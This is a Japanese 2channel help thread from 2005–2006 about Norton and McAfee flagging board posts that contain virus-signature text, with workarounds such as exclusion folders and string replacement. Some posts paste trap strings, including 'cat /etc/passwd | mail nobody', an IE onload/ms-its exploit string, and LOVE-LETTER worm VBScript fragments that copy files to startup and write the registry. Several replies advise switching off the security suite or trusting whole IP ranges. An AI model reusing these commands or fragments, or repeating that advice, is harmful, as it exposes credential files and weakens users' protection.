- 330 :ひよこ名無しさん:2005/10/27(木) 20:07:34 ID:???
- >>329
サンクス!
- 331 :ひよこ名無しさん:2005/10/29(土) 01:10:38 ID:???
- NIS2005を使用しています
Opera8.5で>>2にあるテスト用のttp://www.eicar.org/download/eicar.com.txtを踏んでみたのですがNAVが反応しません。
これはAutoProtectが正常に働いていないということなのでしょうか。
試しにローカルにDLしてみてスキャンをかけてみると、ウィルスだと反応して削除します。
- 332 :ひよこ名無しさん:2005/10/29(土) 11:43:26 ID:???
- >>331ですが、解決できました。
「オプション」→「NortonAntiVirus」→「AutoProtect」にて、
「SmartScanを使ってファイルをスキャン」にチェックが入っていたのを「完全ファイルスキャン」に変更したら反応しました。
拡張子.txtがAutoProtectの対象になってなかったってことなんですね……。失礼しました。
- 333 :ひよこ名無しさん:2005/10/31(月) 21:20:51 ID:???
- 反応しちゃった場合は放置しといても大丈夫なの?
- 334 :ひよこ名無しさん:2005/11/01(火) 03:53:50 ID:???
- 勝手に修復したり隔離したりする設定になってると、困ることもある。特に2ch専用ブラウザ使ってる場合。
- 335 :ひよこ名無しさん:2005/11/05(土) 23:27:57 ID:???
- これか
cat /etc/passwd | mail nobody
- 336 :ひよこ名無しさん:2005/11/06(日) 10:55:05 ID:???
- 何もノートンが誤反応しているわけではありません。
VBScriptやJavaScriptの拡張子のファイルに反応すべきなのを、
どの拡張子にでも誇大反応するだけです。
WindowsUpdateは、常に最新の状態に心がける事。
SunのJavaをインストールしている人は、これも最新版に更新しておく事。
RealPlayerやAdobe Readerなども最新にしておかないと、ウィルスに感染しますよ。
これらを心がけて最新状態にしてあれば、ウィルス反応があってもシステムにはもう感染はしません。
過去のWindowsのセキュリティホールを攻撃するアクティブスクリプトに反応しているだけですから、無視して結構です。
ページをプレビューしただけで反応するようなウィルスは、ほとんど全部がもはや検出する必要がないものです。
セキュリティベンダーなどに騙されてはいけませんよ。
- 337 :ひよこ名無しさん:2005/11/13(日) 13:25:01 ID:???
- cenの部屋の管理人さんへ、
誤反応スクリプト無効化ソフト vicptdel ですが、
VBS Freelink.Bにも対応してもらえないでしょうか?
またサイトトップには、updateの表示だけでなく、update日付やVerも
記載していただけたら嬉しいです。ご検討よろしくお願いします。
cenの部屋
http://www.geocities.jp/cen_hp/
- 338 :ひよこ名無しさん:2005/11/13(日) 13:39:48 ID:???
- ラウンジ開いたらブラッドハウンドに感染したみたいなんですが解決法がいまいちよく解りません…
- 339 :ひよこ名無しさん:2005/11/14(月) 11:37:29 ID:???
- Vipのスレ一覧でも反応するっぽいけど誤検出なんだろねえ…
- 340 :ひよこ名無しさん:2005/11/14(月) 16:31:14 ID:???
- うん
- 341 :ひよこ名無しさん:2005/11/17(木) 11:59:50 ID:???
- Bloodhound.Exploit.6ってなんてコードで引っ掛かってるですか?
NGワード指定したいんで教えてください
- 342 :ひよこ名無しさん:2005/11/17(木) 13:38:30 ID:???
- 専用ブラウザでNGワード指定しても2chの鯖から取得して保存されるデータは同じなので無意味。
Proxomitronとかでフィルタリングするなら別だが。
それより素直にノートンの除外設定すべき。
- 343 :cen ◆Pm9xOTJuM. :2005/11/18(金) 00:43:33 ID:???
- >>337
ご意見ありがとうです。
VBS.Freelink.Bですが、パターンは1つですが対応はしていますよ。
対応していないパターンかもしれないので、もしよかったら誤反応した
スレを教えて頂けないでしょうか。
そうですね。日付とバージョンはまた書いときますです。
- 344 :ひよこ名無しさん:2005/11/20(日) 16:39:13 ID:???
- ほう
- 345 :ひよこ名無しさん:2005/11/20(日) 21:02:09 ID:???
- >>343
Winny一般コミック part144
http://tmp4.2ch.net/test/read.cgi/download/1110070134/5
上記のレスです。
dat落ちしてますので、以下を参照してください。
http://makimo.to/2ch/tmp4_download/1110/1110070134.html
- 346 :cen ◆Pm9xOTJuM. :2005/11/20(日) 22:07:13 ID:???
- >>345
見てみました。そこの>>5からdatファイルを作って試しましたが、
無効化して、ウイルス対策ソフトでスキャンしても反応しませんでした
よ。
あと、このソフトで対応しているのは、2chにあるdatファイルのみです。
例:http://pc7.2ch.net/pcqa/dat/xxxxxxxxxx.dat
壺のdatやhtmlには対応していないです。
- 347 :cen ◆Pm9xOTJuM. :2005/11/22(火) 02:12:37 ID:???
- >>17 のソフトの紹介ページを更新しましたです。
http://www.geocities.jp/cen_hp/program3.html
- 348 :ひよこ名無しさん:2005/11/25(金) 13:41:31 ID:73+tCVDU
- ウィルスが検出されんだけどどうすりゃいいの?
- 349 :ひよこ名無しさん:2005/11/25(金) 14:39:57 ID:???
- 恐れず全力で戦え
- 350 :ひよこ名無しさん:2005/11/25(金) 17:03:37 ID:???
- 保守
- 351 :ひよこ名無しさん:2005/11/28(月) 08:08:31 ID:???
- http://game10.2ch.net/test/read.cgi/handygame/1133109700/
このスレを読み込もうとすると、ノートン先生が
206.223.150.115からのアタックを検出して
途中までしか読み込めなくなります。
手動スキャンとAuto-Protectでlogフォルダの
除外の設定はしたんだけどまだダメっぽい。
OSはWinXP, ノートン先生はNAV2003, 専ブラはLive2chです。
たっけてー。
- 352 :ひよこ名無しさん:2005/11/28(月) 08:36:32 ID:???
- <body onload=window()>
- 353 :ひよこ名無しさん:2005/11/28(月) 08:42:51 ID:???
- >>351
NAVですか? インターネットセキュリティじゃなくて?
スレみたら、Nortonスレで昨日話題になったonloadなんちゃらのトラップを確認しました。
これはフォルダの除外設定では対応できなかったと思います。
NIS使ってるなら、NISを無効にして再取得を。
>>352
あーバカが貼りやがったよorz
- 354 :ひよこ名無しさん:2005/11/28(月) 08:54:07 ID:???
- >>353
あ、NISでした。勘違いsorry。
無効→再取得してトラップっぽいレス(>>499と>>543)
2個あぼ〜んにしました。
これだけで問題ないですか?
- 355 :ひよこ名無しさん:2005/11/28(月) 09:01:10 ID:???
- >>354
あぼーんの意味はありません。一度取得すれば問題ありません。
ただし、新規に貼られたら、NGワードに指定してあぼーん(または透明あぼーん)しても引っかかります。
現状での対処法としては
○引っかかったときにNISを切って再取得をする対処療法
○侵入検知の設定で、AutoBlockの除外項目に2chの鯖を登録する(穴をあけることになるので微妙ですが)
くらいでしょうか。
Jane系なら、問題の文字列を別の文字列に置き換えればおk、という案もNortonスレで出てましたが
Live2chでそれをやるのはちょっと手間なようです。
Live2chのスレでも少し話題になってますので、そちらも追っておくことをお勧めします。
- 356 :ひよこ名無しさん:2005/11/28(月) 10:58:13 ID:???
- >>355
ご丁寧にどうもありがとうございます。
一度取得してしまえばそれでオワリなんですね。
Live2chのスレ探して見てみます。
- 357 :ひよこ名無しさん:2005/11/28(月) 14:10:20 ID:???
- >>355
>Jane系なら、問題の文字列を別の文字列に置き換えればおk、という案もNortonスレで出てましたが
誘導もしくは詳しくお願いします。
- 358 :ひよこ名無しさん:2005/11/28(月) 14:42:24 ID:???
- >>357
<ここ数日2chを騒がせている侵入検知トラップの対策法>
症状:
Norton Internet Securityを使用している人で、特定の文字列を書かれると侵入検知が多発し
最短30分間そのアドレスがNISにより規制されるためログが読めなくなる。
対策:上に行くほどおすすめ
@Jane系の専用ブラウザ使ってる場合
JaneフォルダにReplaceStr.txtというテキストファイルを作り
onload=[Tab]onload=
みたいに置き換えればOK(↑の”[Tab]”はタブ入力)
Tabキーを押すのを忘れて[Tab]onloadとそのまま書いてはダメ
AReplace法が使えない場合(他の専用ブラウザ、IEなど)
Nortonの統計ログの侵入検知の項目を見て、ブロックされているサーバ名を確認(例:tmp5.2ch.net)
侵入検知の設定で除外に上で確認したサーバ名を入れる
ただしこの方法は穴を作ることになるのであまりおすすめではない
Bよくわかんね、って人
読み書きするときに「Norton Internet Securityを無効にする」を選んで一時的にNISを切る。
このときAuto-Protectを切っても無意味なので注意。Auto-ProtectはAntivirusなので。
ガセビアの沼
・Love-letterと同じVB使った疑似ウイルスだからNAVの除外設定に専用ブラウザのログフォルダを入れてやればいい、というのはガセ
今回のはNAVではなくNIS管轄のトラップです
Nortonスレはこちら。
ただし、問題の起こる文字列が貼られているので、読み込むときには上記対策のいずれかを行ってください。
【ノートン】インターネットセキュリティ Ver.77【2006】
http://pc8.2ch.net/test/read.cgi/sec/1132279196/
- 359 :ひよこ名無しさん:2005/11/28(月) 14:57:54 ID:???
- (笑)
- 360 :ひよこ名無しさん:2005/11/28(月) 17:12:55 ID:???
- http://www.computerterrorism.com/research/ie/poc.htm#
http://www.computerterrorism.com/research/ie/fillmem.htm
http://www.computerterrorism.com/research/ie/bug.htm
- 361 :ひよこ名無しさん:2005/11/28(月) 17:30:40 ID:???
- >>358
それガセらしいじゃないか・・・
。゚(゚´Д`゚)゜。ウァァァン
- 362 :ひよこ名無しさん:2005/11/28(月) 17:33:17 ID:???
- >>361
あーはいはい。
1. [ファイアウォール]をダブルクリック
2. [ネットワーク]をクリック
3. [信頼]をクリック
4. [追加]をクリック
5. [範囲を使う]をチェック
6. 開始アドレスに「206.223.147.0」を入力、終了アドレスに「206.223.154.255」してOKをクリック
- 363 :eip = eip + unescape("%u7030%u4300") :2005/11/28(月) 19:44:46 ID:???
- http://www.computerterrorism.com/research/ie/poc.htm#
http://www.computerterrorism.com/research/ie/fillmem.htm
http://www.computerterrorism.com/research/ie/bug.htm
- 364 :ひよこ名無しさん:2005/11/28(月) 20:55:42 ID:???
- ms-its:mhtml:file://c:\
- 365 :名無しさん@お腹いぱーい。:2005/11/29(火) 00:32:03 ID:??? ?##
- とりあえずKnowledge Base 経由で>>352のソースをツマンテックに送って対応を催促しますた。
- 366 :ひよこ名無しさん:2005/11/29(火) 00:54:38 ID:???
- 馬鹿だなノートン。
- 367 :ひよこ名無しさん:2005/11/29(火) 10:34:17 ID:???
- ノートンの誤作動対策したら、
スクリプトを仕組んでるスレみると、変に改行されてしまう(\r\n\r\n)のはなぜ?
- 368 :名無しさん@お腹いぱーい。:2005/11/29(火) 12:44:31 ID:??? ?##
- >>367
>>362の設定ですか?
2ちゃんねるブラウザでの不具合は
お使いの2ちゃんねるブラウザのスレで環境を詳しく書いてお聞きください。
- 369 :cen ◆Pm9xOTJuM. :2005/11/30(水) 00:10:23 ID:???
- >>352について、役に立つかは知らないですが、>>17のソフトにて
対応させてみました。
http://www.geocities.jp/cen_hp/program3.html
- 370 :ひよこ名無しさん:2005/12/11(日) 18:48:05 ID:J4cBBOMR
- 【アメリカ】全米各地で中国系中心に「アジア人」生徒へのいじめが増加…問題の根深く
http://news19.2ch.net/test/read.cgi/newsplus/1134279288/
- 371 :名無しさん@お腹いぱーい。:2005/12/12(月) 00:37:26 ID:??? ?##
- 現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。
2chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures http://ansitu.xrea.jp/guidance/?Trap#Emergency_measures
http://wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2
この場合2ちゃんねるに対してファイアーウォールの機能は働きません。
また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。
シマンテックの対応待ちです。
アンチウイルス(NAV)の設定は>>1
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap
- 372 :ひよこ名無しさん:2005/12/12(月) 23:03:17 ID:TJ/QcL4e
- <body onload=windowあ()> ms-its:mhtml:fileあ://c:\
↑ひらがな抜いて書き込みすると誤作動します。
誤作動うざい。
- 373 :ひよこ名無しさん:2005/12/12(月) 23:14:43 ID:???
- doredore,
<body onload=window()> ms-its:mhtml:file://c:\
- 374 :ひよこ名無しさん:2005/12/13(火) 00:32:45 ID:???
- i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| (_゜.,》.'(_゜,》)ミ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,__,ニ、、 ノ( | i|i!|i|
|i | Y~~/~y} `, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i / <ニニニ'ノ \ l
- 375 :ひよこ名無しさん:2005/12/14(水) 08:34:01 ID:9z0oGE5T ?#
- てt
- 376 :ひよこ名無しさん:2005/12/16(金) 07:08:09 ID:???
- vicptdelで処理した後、久々にNAVでJaneのlogをスキャンしてみたら、
以下のレスがvicptdelで処理されていなかったらしく、NAVに削除されました。
ttp://tmp5.2ch.net/test/read.cgi/download/1133670032/11
ttp://makimo.to/2ch/tmp5_download/1133/1133670032.html#11
cenさんもしよろしければ、対応お願いします。
またスレタイがウィルスコードだったのか分かりませんが、subject.txtに
以下のUnix Penguinが入っていましたが、datだけでなく、
vicptdelでsubject.txt等も対応できないでしょうか?
caXt /etc/paXsswd | mail noXbody (Xを削除)
- 377 :cen ◆Pm9xOTJuM. :2005/12/18(日) 00:49:25 ID:???
- >>376
そのスレの11ですが、そのパターンは対応していますよ。
手で11のdatを作って、スキャンしたら無効化されました。
デフォルトだとスキャンする時から10日前以降に更新されたdat
ファイルのみスキャンする設定なので、すべてのdatファイルを
スキャンする設定でしてみてください。
あと、subject.txtは専用ブラウザで板を見るときに常に更新するもの
だと思いますので、無効化しても効果がないので、スキャンはしない
です。
- 378 :ひよこ名無しさん:2005/12/22(木) 17:14:31 ID:Y2IitcnV
- ノートンインターネット2006を入れたのですが、初心者の質問の板が
見れたり見れなかったりします。見れてもウィルス反応がでてしまう
のですが、2006の設定を教えて下さい。
お願いします。
- 379 :ひよこ名無しさん:2005/12/22(木) 17:23:38 ID:???
- >>378
ノートンを切る
それだけ
- 380 :ひよこ名無しさん:2005/12/22(木) 19:21:21 ID:Z1b4rF6D
- NIS2006を入れたんですが、誤反応しません。
設定が悪くセキュリティが甘くなってるのでしょうか?
- 381 :ひよこ名無しさん:2005/12/22(木) 19:37:59 ID:???
- >>380
割れてます。
- 382 :ひよこ名無しさん:2005/12/22(木) 20:22:37 ID:???
- >>381
普通にLiveUpdateとかできるのに…いや、それより何故割れてるって解るんでしょうか?
- 383 :ひよこ名無しさん:2005/12/22(木) 20:23:54 ID:???
- >>382
(((((((( ;゚Д゚)))))))ガクガクブルブル
- 384 :ひよこ名無しさん:2005/12/23(金) 00:52:52 ID:???
- .l l \| | !ノートン先生 ! //U ヽ___/
パソコン蛾人 \ !!大激怒!! // U :::U:
ぶっ壊れ(__) \ !!!!! / // ___ \ :::
たお! (__) \∧∧∧∧/ | | | U ::::
(`Д´#) < ぶ パ > |U | | ::U:
_| ̄ ̄||_)_ < っ ソ > | ├―-┤ U.....::::
/旦|――||// /| < 壊 コ > ヽ .....:::::::::
─────────< れ ン >──────────
< _,ノ , 、ヽ、_ ノ< た 蛾> プスプスプス・・・・・∬∬
(y○')`ヽ) ( ´(y○')< !!! >踏んじゃったよぉ___
⌒ / ヽ⌒ /∨∨∨∨\ ∧_∧ ||\
うわあ |~ ̄ ̄~.|ぁぁ/パソコン蛾ぶ \ ( ;´Д`) || |
ぁぁ| |||! i: |||! !|ぁ/っ壊れた!ディス \( つ/ ̄||/
ぁぁ| |||| !! !!||| :|/プレイが砕け散った! \ヽ |二二二」
- 385 :ひよこ名無しさん:2005/12/26(月) 23:44:59 ID:JAAmlww2
- http://life7.2ch.net/test/read.cgi/kankon/1134376159/
このスレにアクセスしたらウイルスが検出されます。
どうしたらいいですか?
- 386 :ひよこ名無しさん:2005/12/26(月) 23:46:05 ID:???
- >>385
このスレを一通り読んでから質問しろよ情報乞食
- 387 :ひよこ名無しさん:2005/12/26(月) 23:48:53 ID:???
- >>385
何でそうやってすぐに聞こうとするの?
まともな日本語能力と社会的常識を持っていれば
ちょっと調べれば、ちょっと読めば解決するのに
- 388 :ひよこ名無しさん:2005/12/26(月) 23:54:34 ID:TT8kYPqv
- ttp://210.150.222.13/cgi-bin/imgbbs01/imgboard.cgi
の掲示板に貼られている空白?の画像はスパイウェアー
だと他の利用者が知らせてくれたのですが、
もしかしたらクリックしてしまったたかもしれません
スパイウェアーというのは感染するとどうなってしまうのでしょうか?
怖いので今日中に再フォーマットするつもりですが・・・
- 389 :ひよこ名無しさん:2005/12/26(月) 23:58:53 ID:???
- >>388
で、何故このスレで聞こうと思ったの?
- 390 :ひよこ名無しさん:2005/12/26(月) 23:59:45 ID:???
- 自称PC初心者はスレタイも読めない日本語初心者…っと。
- 391 :ひよこ名無しさん:2005/12/27(火) 00:04:42 ID:TZFt/HNg
- >>389
あ、今、別のスレで教えてもらえました
すいませんm(__)m
- 392 :ひよこ名無しさん:2005/12/27(火) 01:32:52 ID:???
- >>388
踏んだ 踏んだ どうにもならへん
内部で呼び出しているサーバーがお休みのようだ
マカフィーさんも無反応
XP_SP2にとってはブラクラ以外の何物にもならない
- 393 :ひよこ名無しさん:2006/01/05(木) 11:05:53 ID:???
- じいさんのためにage
- 394 :ひよこ名無しさん:2006/01/09(月) 23:41:35 ID:???
- バージョン 】 1.12
【 スキン 】 default
【 IE 】 6.0.2900.2180
【 Windows 】 Windows XP Home Edition (Service Pack 2)
【 不具合 】 生活板がどのスレッドも見れません。
【詳しい内容 】 ボードデータの更新をしても、スレッドの更新をしても、再インストールしても
見れません。ちなみに専用ブラウザを使用しなくても見れなくなってしまいました。
何が原因なのでしょうか…?
- 395 :ひよこ名無しさん:2006/01/10(火) 21:00:00 ID:???
- >>394
ここに来たってことはノートン入れてるんでしょ?
原因はノートン
ついでに保守age
- 396 :ひよこ名無しさん:2006/01/11(水) 08:57:15 ID:???
- ms-its:mhtml:file://c:\
- 397 :ひよこ名無しさん:2006/01/15(日) 20:20:52 ID:???
- 定期age
- 398 :ひよこ名無しさん:2006/01/22(日) 05:06:59 ID:???
- すみません。色々やったけどギブですorz質問よろしいでしょうか…
■janeDoeα 0.1.12.2■xp■NIS2004■>>1-9は読みました
>>51>>56さんとややケースが似てるんですが…
最近ノートン2004を再インスコしたので、前と同じ方法(>>1)で
また専ブラのlogフォルダを除外設定しました、が、何故か今度はどう設定やり直しても
下記のスレで先生に怒られます。
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/(このスレです…)
http://pc8.2ch.net/test/read.cgi/hp/1135924815/
警告メッセージのスクショ↓
ttp://vipquality.orz.hm/imageup/file/onz27560.jpg(このスレのです。これが2回でます)
ttp://vipquality.orz.hm/imageup/file/onz27561.jpg(下のスレのです)
で、何度設定しても駄目だったのでこのソフトを入れて、トラップの無効化を試みたんですけど
ttp://www.geocities.jp/cen_hp/program3.html#use_____
やっぱり上記のスレで先生に怒られます。何回かこのソフト起動させてみたんですが
無効化成功してるよ。みたいなメッセージが出るだけで、依然として先生は怒りまくりだし
もうどうしていいか分かりません。誰か助けて〜(つД`;)
- 399 :ひよこ名無しさん:2006/01/22(日) 05:20:54 ID:qJbbwLqx
- トラックバック:http://etc3.2ch.net/test/read.cgi/qa/1137857523/
- 400 :ぼるじょあ ◆yBEncckFOU :2006/01/22(日) 05:37:48 ID:???
- >>398
(・3・) エェー そのソフトはdatは対策できるけど、subject.txtは
対策できないYO
- 401 :名無しさん@お腹いぱーい。:2006/01/22(日) 19:21:57 ID:???
- >>398
今一度、Norton Anti Virusのオプションで
手動スキャンとAuto-Protectでlogフォルダの除外の指定をしているか確認してください。
該当スレに書き込んだ・該当スレをお気に入りに入れた・ウイルスコードを検索したりすると
幾つか除外の指定を増やすことになるのでご注意ください。
Janeの場合
Jane2ch\Logs
Jane2ch\favorites.dat
Jane2ch\kakikomi.txt
Jane2ch\SearchHistory.txt
ε三(; ・∀・)鯖マデオツカイの場合
otsukai\result.dat
詳しくはお使いの2ちゃんねるブラウザのスレのテンプレや
2ちゃんねるブラウザのヘルプ
2ちゃんねるブラウザ配布サイト等のFAQなどを参照してください。
- 402 :名無しさん@お腹いぱーい。:2006/01/22(日) 19:46:59 ID:???
- >>401補足
増えた項目の内、
Jane2ch\favorites.dat
Jane2ch\kakikomi.txt
otsukai\result.dat
↑はスレタイに反応した場合です。
- 403 :ひよこ名無しさん:2006/01/27(金) 17:56:55 ID:SL6Rf0+0
- Live2chのフォルダごとNorton Anti Virus→除外に設定しても良いの?
- 404 :ひよこ名無しさん:2006/01/28(土) 02:19:43 ID:W65BflbM
- すみません、質問です。
昨日から携帯PHS板を見ていると、ノートンで何度も警告が出て、
WScript.KakWormってやつなんですけど、これは
「kak.hta';ken=wd+'START」ってスレタイがあるせいなのでしょうか?
- 405 :404:2006/01/28(土) 02:27:13 ID:???
- すみません、テンプレ見ましたm(_ _)m
- 406 :名無しさん@お腹いぱーい。:2006/01/28(土) 20:16:04 ID:???
- >>403
Logフォルダを除外に指定してね。
- 407 :ひよこ名無しさん:2006/01/31(火) 10:00:47 ID:nkcqfLth
- 先程、他のスレッド見ていたら、ノートンの低危険度の表示が出てきて遮断をクリックしたら、あらゆるホームページが見れなくなりました。原因解るかた教えてください。宜しくお願いします。m(__)m
- 408 :ひよこ名無しさん:2006/01/31(火) 10:02:30 ID:???
- >>407
誘導されたらそう書け
それと普通>>1から読むもんだ
既知の質問を延々と繰り返し答えさせられるこっちの身にもなれ
- 409 :ひよこ名無しさん:2006/01/31(火) 10:03:47 ID:???
- これかな?
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
End Sub
<body onload=window()>
- 410 :ひよこ名無しさん:2006/01/31(火) 10:08:09 ID:nkcqfLth
- >>408
はぁ?おめーから何も答えてもらってねーぞ。
解らねーんだったらいちいち出てくんじゃねぇよアフォ
- 411 :ひよこ名無しさん:2006/01/31(火) 10:10:37 ID:???
- 言っておくけど、回答者はどこも共通だから
- 412 :ひよこ名無しさん:2006/01/31(火) 10:11:13 ID:???
- i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i !|||!|┏━━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i| / | / | ┗━━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i! /,_ ┴─/ ヽ |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i|| (_゜.,》.'(_゜,》)ミ ヽ ! | |!i||!|ii||!|ii|
i|ii / ,,__,ニ、、 ノ( | i|i!|i|
|i | Y~~/~y} `, ~ | そ、そんなー… |i
!. | ,k.,.,!,.,.,r| ,! く .!
i / <ニニニ'ノ \ l
- 413 :ひよこ名無しさん:2006/01/31(火) 10:12:28 ID:???
- >>410
お前が礼言ってたコテな、テンプレに注意書きがあるくらいの要注意人物なんだよ
- 414 :ひよこ名無しさん:2006/01/31(火) 10:16:03 ID:???
- >>410
http://ansitu.xrea.jp/guidance/?Trap#It_does_not_cry
ここを読んでください
- 415 :ひよこ名無しさん:2006/01/31(火) 10:16:50 ID:???
- >>410
この部分ね
2005年11月28日現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させる
コードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの
設定を見直さなければなりませんがあくまで暫定的処置です。
NIS2005の場合(多分NIS2006も同じ)
- 416 :ひよこ名無しさん:2006/01/31(火) 10:16:58 ID:nkcqfLth
- >>411
解りました。m(__)mではどこで聞いても答えは一緒って事ですね。お手数おかけしました。また何かありましたら宜しくお願いします。
- 417 :VIP@命 ◆VIPPER/vT. :2006/01/31(火) 10:31:48 ID:nkcqfLth
- あっ。ちなみにぼくは、愛新ではありません。
あしからず
- 418 :ひよこ名無しさん:2006/02/01(水) 13:48:25 ID:S10H/e1R
- 時々ノートンインターネットセキュリティ2004を使用している際、
スレ、もしくは板そのものがサーバーに接続できなくて見ることができません。
アンチウィルスは常時つけていますが、切ってもつけていても見ることができるのですが
この症状はアンチウィルスが反応している訳ではありません
インターネットセキュリティをつけているときだけ見ることができないのですが
なぜなんでしょうか?
もちろんインターネットセキュリティの2CHに書き込める為の設定をしてあります。
これはなぜなんでしょうか?
- 419 :ひよこ名無しさん:2006/02/01(水) 13:55:37 ID:???
- >>418
>>371の問題でもないってことでしょうか。
371の暫定対処をした場合はどうなりますか?
- 420 :418:2006/02/01(水) 14:05:32 ID:S10H/e1R
- >>419
ありがとうごぜーます。
呼んできます。
- 421 :ひよこ名無しさん:2006/02/02(木) 16:52:23 ID:KtbG8KDn
- ■>>1-9を読みましたか? 『YES』
マカフィーを使っているのですがdatファイルの入ったzipファイルを解凍しようと
すると「Exploit-mhtresir.gen」が発見されたので削除しますと言われzipファイルの中のdatを
他の場所に保存することもdatファイルを使うことも出来ないのですがどうすれば
zipファイルを解凍して中のdatファイルを使えるようになりますか?
OSはXP
アンチウイルスソフトはManaged virusScan plas AntiSpywareです。
お願いします。
- 422 :ひよこ名無しさん:2006/02/02(木) 17:55:04 ID:KtbG8KDn
- 他できいてみます。
- 423 :名無しさん@お腹いぱーい。:2006/02/02(木) 23:44:24 ID:??? ?
- >>421-422
> マカフィーを使っている
> datファイルの入ったzipファイル
2ちゃんねるブラウザのログファイルでは無い場合はこちらのスレでは扱っていません。
このスレでは「ノートントラップ」は2ちゃんねる(掲示板)にウイルスコードが貼り付けられ
Webブラウザや2ちゃんねるブラウザのログでノートンが誤反応することを指しています。
http://pc7.2ch.net/test/read.cgi/pcqa/1138826147/441
そのzipファイルがアップローダーで拾ったものならマカフィーは正常な反応を示しているかと思います。
念のためにオンラインスキャンしてみてください。
http://www.trendmicro.co.jp/hcall/index.asp
マカフィーについて以降はより詳しいあなたの環境(zipファイルの出所・何のアプリケーションに使われているのか等)を書いて
以下のスレにここから誘導されたことも併記してお尋ねください。
がんばれマカフィー Part.23 / ガンバレMcAfee
http://pc8.2ch.net/test/read.cgi/sec/1136576534/
もしマカフィーが2ちゃんねるブラウザのログで反応しているのならお手数ですがもう一度こちらに来てください。
- 424 :ひよこ名無しさん:2006/02/03(金) 09:31:43 ID:ZZST2Rw7
- >>423
ご丁寧に解答を頂きありがとうございます。
datファイルの入ったzipファイルはある2ちゃんねるのスレのまとめサイト
からダウンロードしたファイルです。
オンラインスキャンでは何も見つからなかったです。
>もしマカフィーが2ちゃんねるブラウザのログで反応しているのなら
>お手数ですがもう一度こちらに来てください
datファイルは2ちゃんねるのスレッドのdatファイルなのですが
こちらでよろしいでしょうか?お願いします。
- 425 :421:2006/02/03(金) 10:12:08 ID:ZZST2Rw7
- すいません>>421の者です。
- 426 :名無しさん@お腹いぱーい。:2006/02/03(金) 13:48:07 ID:??? ?
- >>424-425
おそらくそれはウイルスコードにマカフィーが誤反応しているものだと思われます。
他で教えていただいたのですがマカフィーにはノートンのようなウイルススキャンでフォルダ・ファイルの除外項目が無いそうです。
以下、現在の状況での対処方法です。
2ちゃんねるブラウザのJane派生のJaneViewでWickedStr.txtに手動で反応する文字列の一部を追記する。
誤反応スクリプト無効化ソフトttp://www.geocities.jp/cen_hp/program3.htmlのアップデートを待って(現在マカフィートラップには対応していません)
ActiveShieldを無効→対象スレを取得→「誤反応スクリプト無効化ソフト」を使ってウイルスコードを無効→ActiveShield有効
2ちゃんねるブラウザMonoViewのアップデートを待って(現在マカフィートラップには対応していません)読み込む。
一番いい方法はマカフィーに該当するdatファイルを送って対策を促すことだと思います。
マカフィーユーザーで既に対処の仕方を知っている方がいらっしゃるのかもしれませんので
>>423のマカフィーのスレでこちらのことを聞いてみていただけませんでしょうか。
対処方法がありましたらこちらのスレにもお知らせいただけると幸いです。
また参考のためにも今後もこちらに来ていただけると助かります。
ノートントラップとマカフィートラップのウイルスコードは違うようなので
ノートンでは反応しないでマカフィーが誤反応したりまたその逆もあります。
長々としましたがマカフィートラップについての決定打が見当たらないので手探りのレスを御許しください。
参考にマカフィートラップと思われるやり取りの過去ログです。
http://pc5.2ch.net/test/read.cgi/sec/1106492538/72-77+553-555+558-559+563
